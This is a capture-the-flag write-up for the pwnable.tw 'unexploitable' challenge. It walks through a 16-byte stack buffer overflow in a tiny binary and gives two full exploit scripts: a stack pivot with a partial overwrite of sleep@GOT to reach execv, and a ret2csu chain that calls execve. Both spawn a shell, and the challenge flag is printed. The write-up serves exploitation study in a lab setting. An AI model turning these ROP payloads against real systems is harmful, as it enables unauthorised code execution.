[PWNABLE.TW] - unexploitable

writeup

Challenge Information

Reverse Engineering

Let’s start with checking the binary mitigations. We can use checksec to do that:

1
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/unexploitable
2
$ checksec unexploitable
3
[*] '/mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable'
4
    Arch:       amd64-64-little
5
    RELRO:      Partial RELRO
6
    Stack:      No canary found
7
    NX:         NX enabled
8
    PIE:        No PIE (0x400000)
9
    Stripped:   No

We can see that the binary is not stripped, which is a good thing for us. We can also see that there is no stack canary, which means we can overwrite the return address of a function. The binary is also not position independent, which means that the address of the functions will be the same every time we run the binary. Dive into the decompiled code to see what is going on

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
4

5
  sleep(3u);
6
  return read(0, buf, 0x100uLL);
7
}

There’s only have one main function. In this function, we can see that it sleeps for 3 seconds and then calls the read function. The read function reads 0x100 bytes from the standard input into the buffer buf. The buffer is only 16 bytes long, so we have Buffer Overflow here.

Exploit Strategies

With only one function in the binary, and it allows us just to read 0x100 bytes into a buffer, no leak, no win function. So what we can do now? I have a few ideas in my mind:

Because there is Partial RELRO, we can overwrite the GOT entry of sleep function to point to execv function. This function is not too far from the sleep function, so we can completely overwrite it with Partial Overwrite
The binary has __libc_csu_init, which is really OP function. We can call everything using this function. This technique also called ret2csu

And in this write up, I will still give the method of doing the twwo in as much detail as possible.

Exploit

Method 1: Stack Pivot

I call this method Stack Pivot because my whole process is just pivoting and overwriting sleep -> execv. But first let’s collect some useful gadgets

1
        mov_edi = 0x400600      # mov edi,  [rsp+0x30] ; add rsp, 0x38 ; ret ;
2
        leave_ret = 0x400576
3
        ret = leave_ret + 1
4
        read_gadget = 0x40055B

In this way I will mainly use these 4 gadgets. Everything has only one strange thing, the mov gadget, because the __libc_csu_init function in this binary has been recoded so it doesn’t have the pop gadgets like before, but that’s okay the mov gadget still has a similar function. And the reason I chose the execv function is because it really only needs one argument to drop the shell for us. According to the man page we can know that:

1
SYNOPSIS
2
    #include <unistd.h>
3

4
    extern char **environ;
5
    int execv(const char *pathname, char *const argv[]);
6

7
DESCRIPTION
8
    <...>
9
    v - execv(), execvp(), execvpe()
10
       The char *const argv[] argument is an array of pointers to null-terminated strings that represent the argument list available to the new program.  The first argument, by convention, should point to the  filename  associated
11
       with the file being executed.  The array of pointers must be terminated by a null pointer.

So first we will start pivoting, because we will pivot into the section of sleep@GOT and when it returns it will return sleep@GOT + 0x18, so our first payload will have to be to read some areas of sleep@GOT + 0x10 + 0x10 then when we return in payload 2 when we use it to write to sleep@GOT it will have data to return. So our payload 1 will be like this:

1
        offset = 0x10
2
        read_gadget = 0x40055B
3
        bss = 0x601800
4
        mov_edi = 0x400600      # mov edi,  [rsp+0x30] ; add rsp, 0x38 ; ret ;
5
        leave_ret = 0x400576
6
        ret = leave_ret + 1
7

8
        payload = flat({
9
            offset: [
10
                exe.got.sleep + 0x10 + 0x10,
11
                read_gadget
12
            ]
13
        }, filler=b'A')
14

15
        # input("Payload 1")
16
        sleep(4)
17
        s(payload)

And payload 2 is the same when it returns it will return to sleep@GOT + 0x18. Because our payload 2 will start from sleep@GOT + 0x10 so we will set up a place so that after reading it will return to:

1
        # Start at 0x601020
2
        payload = flat(
3

4
            bss - 0x100 + 0x10,
5
            read_gadget,
6

7
            exe.got.sleep + 0x10,
8
            read_gadget
9

10
        )
11

12
        # input("Payload 2")
13
        sleep(0.5)
14
        s(payload)
15

16
        # input("Payload 3")
17
        sleep(0.5)
18
        s(p16(0x9cb0))

It looks complicated but let me debug it for you

1
pwndbg> x/20xg 0x601010
2
0x601010 <sleep@got.plt>:       0x00007ffff7ad9680      0x0000000000000000
3
0x601020:                       0x0000000000601710      0x000000000040055b (2)
4
0x601030 <dtor_idx.6533>:       0x0000000000601020      0x000000000040055b (1)
5
0x601040:                       0x0000000000000000      0x0000000000000000
6
0x601050:                       0x0000000000000000      0x0000000000000000
7
0x601060:                       0x0000000000000000      0x0000000000000000
8
0x601070:                       0x0000000000000000      0x0000000000000000
9
0x601080:                       0x0000000000000000      0x0000000000000000
10
0x601090:                       0x0000000000000000      0x0000000000000000
11
0x6010a0:                       0x0000000000000000      0x0000000000000000

This is the data when I read the 2nd payload in, and when it executes first it will execute the gadget at address 0x601038 first then when it returns it will take the value of saved RBP at 0x601030 which is 0x601020 to return then it continues to execute and gives us the 3rd read. And now we check in the GOT table and see that sleep has been overwritten to execv

1
pwndbg> got
2
Filtering out read-only entries (display them with -r or --show-readonly)
3

4
State of the GOT of /mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable_patched:
5
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
6
[0x601000] read@GLIBC_2.2.5 -> 0x7ffff7b04670 (read) ◂— cmp dword ptr [rip + 0x2d20c9], 0
7
[0x601008] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2e740 (__libc_start_main) ◂— push r14
8
[0x601010] sleep@GLIBC_2.2.5 -> 0x7ffff7ad9cb0 (execv) ◂— mov rax, qword ptr [rip + 0x2f7201]

And the last thing we will do is set up the necessary things to call execv. I won’t explain this part too much because it’s not too complicated. You can debug my script to understand better.

1
    # Start at 0x601700
2
    payload = flat(
3

4
        0,
5
        mov_edi,
6

7
        bss - 0x100,
8
        leave_ret,
9

10
        b'C'*0x20,
11
        p64(bss - 0x100 + 0x50),
12
        exe.plt.sleep,
13
        b'/bin/sh\0',
14

15
    )
16

17
    input("Payload 4")
18
    sleep(0.5)
19
    s(payload)

Because ASLR is always enabled, we need to brute force when running the script in remote. Note that the program will read our input after sleeping for 3 seconds, so to be safe and not mess up our inputs, we should let our exploit sleep for 4 seconds before reading the first payload, and don’t forget to let the exploit sleep in small intervals so that the input readings don’t overlap.

Full exploit

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./unexploitable_patched', checksec=False)
10
libc = exe.libc
11

12
def start(argv=[], *a, **kw):
13
    if args.GDB:
14
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
15
    elif args.REMOTE:
16
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
17
    elif args.DOCKER:
18
        p = remote("localhost", 5000)
19
        sleep(1)
20
        pid = int(check_output(["pidof", "-s", "/app/run"]))
21
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28
init-pwndbg
29
# b *0x400576
30
b *0x400577
31
c
32
'''
33

34
# ==================== EXPLOIT ====================
35

36
while True:
37
    p = start()
38

39
    def exploit():
40

41
        offset = 0x10
42
        read_gadget = 0x40055B
43
        bss = 0x601800
44
        mov_edi = 0x400600      # mov edi,  [rsp+0x30] ; add rsp, 0x38 ; ret ;
45
        leave_ret = 0x400576
46
        ret = leave_ret + 1
47

48
        payload = flat({
49
            offset: [
50
                exe.got.sleep + 0x10 + 0x10,
51
                read_gadget
52
            ]
53
        }, filler=b'A')
54

55
        # input("Payload 1")
56
        sleep(4)
57
        s(payload)
58

59
        # Start at 0x601020
60
        payload = flat(
61

62
            bss - 0x100 + 0x10,
63
            read_gadget,
64

65
            exe.got.sleep + 0x10,
66
            read_gadget
67

68
        )
69

70
        # input("Payload 2")
71
        sleep(0.5)
72
        s(payload)
73

74
        # input("Payload 3")
75
        sleep(0.5)
76
        s(p16(0x9cb0))
77

78
        # Start at 0x601700
79
        payload = flat(
80

81
            0,
82
            mov_edi,
83

84
            bss - 0x100,
85
            leave_ret,
86

87
            b'C'*0x20,
88
            p64(bss - 0x100 + 0x50),
89
            exe.plt.sleep,
90
            b'/bin/sh\0',
91

92
        )
93

94
        # input("Payload 4")
95
        sleep(0.5)
96
        s(payload)
97

98
        try:
99
            sleep(0.5)
100
            sl(b'echo WIN!!')
101
            ru(b'WIN!!')
102
            return True
103
        except:
104
            close()
105
            return False
106

107
        interactive()
108

109
    if __name__ == '__main__':
110
        if exploit():
111
            sl(b'cat /home/unexploitable/f*')
112
            interactive()
113
            break
114
# FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}

Yes yes, I think this is unintended solution base on that flag 🥹

Method 2: ret2csu

So for this method, we will target 2 gadget in csu, and syscall gadget by overwrite sleep GOT:

1
pwndbg> disass __libc_csu_init
2
Dump of assembler code for function __libc_csu_init:
19 collapsed lines
3
   0x0000000000400580 <+0>:     mov    QWORD PTR [rsp-0x28],rbp
4
   0x0000000000400585 <+5>:     mov    QWORD PTR [rsp-0x20],r12
5
   0x000000000040058a <+10>:    lea    rbp,[rip+0x200893]        # 0x600e24
6
   0x0000000000400591 <+17>:    lea    r12,[rip+0x20088c]        # 0x600e24
7
   0x0000000000400598 <+24>:    mov    QWORD PTR [rsp-0x18],r13
8
   0x000000000040059d <+29>:    mov    QWORD PTR [rsp-0x10],r14
9
   0x00000000004005a2 <+34>:    mov    QWORD PTR [rsp-0x8],r15
10
   0x00000000004005a7 <+39>:    mov    QWORD PTR [rsp-0x30],rbx
11
   0x00000000004005ac <+44>:    sub    rsp,0x38
12
   0x00000000004005b0 <+48>:    sub    rbp,r12
13
   0x00000000004005b3 <+51>:    mov    r13d,edi
14
   0x00000000004005b6 <+54>:    mov    r14,rsi
15
   0x00000000004005b9 <+57>:    sar    rbp,0x3
16
   0x00000000004005bd <+61>:    mov    r15,rdx
17
   0x00000000004005c0 <+64>:    call   0x400400 <_init>
18
   0x00000000004005c5 <+69>:    test   rbp,rbp
19
   0x00000000004005c8 <+72>:    je     0x4005e6 <__libc_csu_init+102>
20
   0x00000000004005ca <+74>:    xor    ebx,ebx
21
   0x00000000004005cc <+76>:    nop    DWORD PTR [rax+0x0]
22
   0x00000000004005d0 <+80>:    mov    rdx,r15
23
   0x00000000004005d3 <+83>:    mov    rsi,r14
24
   0x00000000004005d6 <+86>:    mov    edi,r13d
25
   0x00000000004005d9 <+89>:    call   QWORD PTR [r12+rbx*8]
26
   0x00000000004005dd <+93>:    add    rbx,0x1
27
   0x00000000004005e1 <+97>:    cmp    rbx,rbp
28
   0x00000000004005e4 <+100>:   jne    0x4005d0 <__libc_csu_init+80>
29
   0x00000000004005e6 <+102>:   mov    rbx,QWORD PTR [rsp+0x8]
30
   0x00000000004005eb <+107>:   mov    rbp,QWORD PTR [rsp+0x10]
31
   0x00000000004005f0 <+112>:   mov    r12,QWORD PTR [rsp+0x18]
32
   0x00000000004005f5 <+117>:   mov    r13,QWORD PTR [rsp+0x20]
33
   0x00000000004005fa <+122>:   mov    r14,QWORD PTR [rsp+0x28]
34
   0x00000000004005ff <+127>:   mov    r15,QWORD PTR [rsp+0x30]
35
   0x0000000000400604 <+132>:   add    rsp,0x38
36
   0x0000000000400608 <+136>:   ret
37
pwndbg> got
38
Filtering out read-only entries (display them with -r or --show-readonly)
39

40
State of the GOT of /mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable_patched:
41
GOT protection: Partial RELRO | Found 3 GOT entries passing the filter
42
[0x601000] read@GLIBC_2.2.5 -> 0x7ffff7b04670 (read) ◂— cmp dword ptr [rip + 0x2d20c9], 0
43
[0x601008] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2e740 (__libc_start_main) ◂— push r14
44
[0x601010] sleep@GLIBC_2.2.5 -> 0x7ffff7ad9680 (sleep) ◂— push rbp
45
pwndbg> x/30i 0x7ffff7ad9680
29 collapsed lines
46
   0x7ffff7ad9680 <__sleep>:    push   rbp
47
   0x7ffff7ad9681 <__sleep+1>:  push   rbx
48
   0x7ffff7ad9682 <__sleep+2>:  mov    eax,edi
49
   0x7ffff7ad9684 <__sleep+4>:  sub    rsp,0x18
50
   0x7ffff7ad9688 <__sleep+8>:  mov    rbx,QWORD PTR [rip+0x2f77e9]        # 0x7ffff7dd0e78
51
   0x7ffff7ad968f <__sleep+15>: mov    rdi,rsp
52
   0x7ffff7ad9692 <__sleep+18>: mov    rsi,rsp
53
   0x7ffff7ad9695 <__sleep+21>: mov    QWORD PTR [rsp+0x8],0x0
54
   0x7ffff7ad969e <__sleep+30>: mov    QWORD PTR [rsp],rax
55
   0x7ffff7ad96a2 <__sleep+34>: mov    ebp,DWORD PTR fs:[rbx]
56
   0x7ffff7ad96a5 <__sleep+37>: call   0x7ffff7ad9730 <nanosleep>
57
   0x7ffff7ad96aa <__sleep+42>: test   eax,eax
58
   0x7ffff7ad96ac <__sleep+44>: js     0x7ffff7ad96c0 <__sleep+64>
59
   0x7ffff7ad96ae <__sleep+46>: mov    DWORD PTR fs:[rbx],ebp
60
   0x7ffff7ad96b1 <__sleep+49>: add    rsp,0x18
61
   0x7ffff7ad96b5 <__sleep+53>: xor    eax,eax
62
   0x7ffff7ad96b7 <__sleep+55>: pop    rbx
63
   0x7ffff7ad96b8 <__sleep+56>: pop    rbp
64
   0x7ffff7ad96b9 <__sleep+57>: ret
65
   0x7ffff7ad96ba <__sleep+58>: nop    WORD PTR [rax+rax*1+0x0]
66
   0x7ffff7ad96c0 <__sleep+64>: mov    eax,DWORD PTR [rsp]
67
   0x7ffff7ad96c3 <__sleep+67>: add    rsp,0x18
68
   0x7ffff7ad96c7 <__sleep+71>: pop    rbx
69
   0x7ffff7ad96c8 <__sleep+72>: pop    rbp
70
   0x7ffff7ad96c9 <__sleep+73>: ret
71
   0x7ffff7ad96ca:      nop    WORD PTR [rax+rax*1+0x0]
72
   0x7ffff7ad96d0 <pause>:      cmp    DWORD PTR [rip+0x2fd069],0x0        # 0x7ffff7dd6740 <__libc_multiple_threads>
73
   0x7ffff7ad96d7 <pause+7>:    jne    0x7ffff7ad96e9 <pause+25>
74
   0x7ffff7ad96d9 <__pause_nocancel>:   mov    eax,0x22
75
   0x7ffff7ad96de <__pause_nocancel+5>: syscall

So that’s the idea, with the power of __libc_csu_init we can call everything we want. So this is my exploit for it, please debug it to understand better:


34 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./unexploitable_patched', checksec=False)
10
libc = exe.libc
11

12
def start(argv=[], *a, **kw):
13
    if args.GDB:
14
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
15
    elif args.REMOTE:
16
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
17
    elif args.DOCKER:
18
        p = remote("localhost", 5000)
19
        sleep(1)
20
        pid = int(check_output(["pidof", "-s", "/app/run"]))
21
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28
init-pwndbg
29
b *0x400577
30
c
31
'''
32

33
p = start()
34

35
# ==================== EXPLOIT ====================
36

37
def ret2csu(rbx, rbp, r12, r13, r14, r15, ret):
38

39
    payload = flat(
40
        [
41
            0,          # rsp + 0x0
42
            rbx,        # rsp + 0x8
43
            rbp,        # rsp + 0x10
44
            r12,        # rsp + 0x18
45
            r13,        # rsp + 0x20
46
            r14,        # rsp + 0x28
47
            r15,        # rsp + 0x30
48
            ret         # rsp + 0x38
49
        ]
50
    )
51

52
    return payload
53

54

55
def exploit():
56

57
    offset = 0x18
58
    csu_gadget1 = 0x4005e6 # mov rbx, qword [rsp+0x08]; mov rbp, qword [rsp+0x10]; mov r12, qword [rsp+0x18]; mov r13, qword [rsp+0x20]; mov r14, qword [rsp+0x28]; mov r15, qword [rsp+0x30]; add rsp, 0x38; ret;
59
    csu_gadget2 = 0x4005d0 # mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jne 0x4005d0 <__libc_csu_init+80>
60
    bss = 0x601800
61
    main = exe.sym.main
62
    read_got = exe.got['read']
63
    sleep_got = exe.got['sleep']
64

65
    # call = r12
66
    # rdi = r13
67
    # rsi = r14
68
    # rdx = r15
69

70
    payload = b'A'*offset
71
    payload += p64(csu_gadget1)
72
    payload += ret2csu(0, 1, read_got, 0, bss+0x100, 0x8, csu_gadget2)  # Read /bin/sh string into bss+0x100
73
    payload += ret2csu(0, 0, 0, 0, 0, 0, main)                          # Return to main for another read
74

75
    sleep(3)
76
    input("Payload 1")
77
    s(payload)
78

79
    input("Read /bin/sh string")
80
    s(b'/bin/sh\0')
81

82
    payload = b'B'*offset
83
    payload += p64(csu_gadget1)
84
    payload += ret2csu(0, 1, read_got, 0, sleep_got, 0x1, csu_gadget2)  # Overwrite sleep_got to syscall gadget
85
    payload += ret2csu(0, 1, read_got, 0, bss, 0x3b, csu_gadget2)       # Setup rax to syscall number 0x3b (execve)
86
    payload += ret2csu(0, 1, sleep_got, bss+0x100, 0, 0, csu_gadget2)   # Call execve
87

88
    sleep(3)
89
    input("Payload 2")
90
    s(payload)
91

92
    input("Overwrite sleep_got")
93
    s(p8(0xde))
94

95
    input("Call execve")
96
    s(b'C'*0x3b)
97

98
    sl(b'cat /home/unexploitable/f*')
99

100
    interactive()
101

102
if __name__ == '__main__':
103
    exploit()

Note that rbx and rbp must be 0 and 1 so that when it will do add rbx,0x1; cmp rbx,rbp; jne 0x4005d0 <__libc_csu_init+80> it will not loop back to csu_gadget2 again.